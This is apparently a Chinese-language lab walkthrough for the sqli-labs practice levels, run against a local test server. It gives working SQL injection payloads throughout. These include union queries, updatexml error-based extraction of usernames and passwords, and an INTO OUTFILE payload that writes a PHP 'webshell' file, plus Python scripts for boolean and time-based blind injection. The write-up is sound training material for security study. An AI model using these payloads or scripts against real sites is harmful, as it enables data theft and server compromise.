Less-1
首先,可以看见该界面,该关卡主要是SQL注入,由于对用户的输入没有做过滤,使查询语句进入到了数据库中,查询到了本不应该查询到的数据
首先,如果想要进入内部,就要绕过,首先是用 ’ 绕过,当然,绕过后会有一个 ’ 空余,所以要 “- -空格”或者“–+”来注释掉,然后通过联合查询来查询到用户权限和数据库名
这里“+”号回自动转换为“空格”,所以可以用“–+”来注释,但,也因为如此,当真正想使用“+”号时,“+”号会变成“空格”,所以,但想使用“+”号时,要用“%2b”,“%2b”就是“+”号的意思。
?id=-1' union select 1 ,user(),database()--+
因为该网页代码id输入有 ’ ’ ,是字符型注入,要单,双引号闭合,所以要 ’ 来绕过。接下来,按照相同的操作,查询出列名,表明和库名,就能进行登录了
注意:一般数据库创建的时候,都会创建“information_chema”“mysql”“performance_chema”这3个库
Less-2
先看看源代码
这个一眼就知道,是数字型注入,不用单,双引号,所以可以直接进行注入
?id=-1 union select 1 ,user(),database()--+
对比上一题,少输一个 ’ ,表示不用 ’ 来绕过,直接注入就行
Less-5
先查看代码:
看到error,明显应该使用报错注入
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),1,32)0x7e),1)--+
这里我使用updatexml报错函数来注入输出,通过错误报告来显示想要查询的信息,但是,注意:这个输出只能输出32个字节,所以想要查询到后面的数据,可以用substr函数来设置输出字段,如下图:
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64)0x7e),1)--+
updatexml报错注入:
使用有三个参数(XML_document,XPath_string,new_value)
第一个参数:XML_document
是String格式,为XML文档对象的名称,文中为Doc(XML的内容)
第二个参数:XPath_string
(Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程(是需要update的位置XPATH路径)
第三个参数:new_value
,String格式,替换查找到的符合条件的数据(是更新后的内容)
注意:第一,三个参数可以随便写,主要利用的还是第二个参数(第二个参数需要Xpath格式的字符串,以 “~” 开头的内容不是xml格式的语法,所以 “~” 用0x7e表示,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果一错误的方式报出,这样就可以实现报错注入了)
Less-6
和Less-5题还是一样的
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
Less-7
mysql如何导出webshell,如何上传webshell:
运用outfile函数
还要3个条件,条件苛刻
1、mysql用户权限必须为root
2、必须知道网站的物理路径,使自己能够知道并访问
3、secure_file_priv为空,表示可以导到任何目录下面
但是我的secure_file_priv文件有目录,只能导入到 C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\
中,不能导入到指定文件,无法复现。
如果正常secure_file_priv文件中没有代码的话,可以用以下代码进行导出:
?id=1')) union select 1,2,"<?php phpinfo();" into outfile "D:/phpstudy_pro/www/sqli/webshell.php";--+
其中“D:/phpstudy_pro/www/sqli/webshell.php”是我自己定义的导出路径,这个你可以根据自己喜好,自己填写要导出到哪里
Less-8
根据输入反馈的结果,可以知道,该页面只有正确时才会显示,输入错误就什么都不显示,那么就可以使用布尔盲注来解决。
这里我们可以试试自己编写脚本来完成,以下是完成截图和代码:
import requests
url = 'http://127.0.0.1/sqli/Less-8/index.php'#题目Less-8的路径
def inject_database(url):
name = ''#存储将要输出的字符
for i in range(1, 20):#输出字段的字长
for j in range(32, 129):#默认显示的字符从32到127,这里我选择129,表示后续没有字符,其实写128也可以
payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
#将databases里面的第一个字截取出来并转换成数值,和j(即%d,每个数字代表对应的字符)进行比较,如果等于则输出
res = {"id": payload}
r = requests.get(url, params=res)
if "You are in..........." in r.text:
name = name + chr(j)
print(name)
break
else:
continue
inject_database(url)
这个方法是暴力破解法,用来两个循环,相对来说还是很慢的
还有一个方法,二分查找法,相对来说速度更快
import requests
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)
res = {"id": payload}
r = requests.post(url, params=res)
if "You are in..........." in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
当然,后续要查找其他用户,表明之类的只要改一下payload的查询就行
注意:查询代码过长时,要注意括号的规范,我经常因为括号多写或者少写而报错
Less-9
这一题和上一题又有些不同,他无论输入对还是错都只显示一个页面,对于这种反馈,我们可以试试时间盲注
如果输入数据正确,则沉睡3秒或1秒(自己定义沉睡几秒),否则不沉睡
import time
import requests
def inject_database(url):
name = ''
for i in range(1, 50):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
res = {"id": payload}
start_time = time.time()
r = requests.post(url, params=res)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
基本还是差不多的代码,只不过加了个时间限制
这个截图无法展示,自己可以去试试,结果是在1s后运行出来的。
Less-11
查看源代码,发现用户名是字符串输出,那么就可以通过 ’ 绕过来获取信息
输入:a' union select 1,user()#
查询用户权限
成功查到是root权限
查其他的也行,同样的在用户名输入界面更改代码就行
a' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' --+
Less-13
其实这个和之前的一样,输入错误的话会有报错,那么就可以用报错注入
a') and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
Less-15
登录成功和失败都只返回图片
还是编写脚本来试试看:
import requests
url = 'http://127.0.0.1/sqli/Less-15/index.php'
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
data = {"uname": "admin' and ascii(substr(database(), %d, 1)) > %d#" % (i, mid), "passwd": "aaaaaa"}
r = requests.post(url, data=data)
if "flag.jpg" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
可以成功获得结果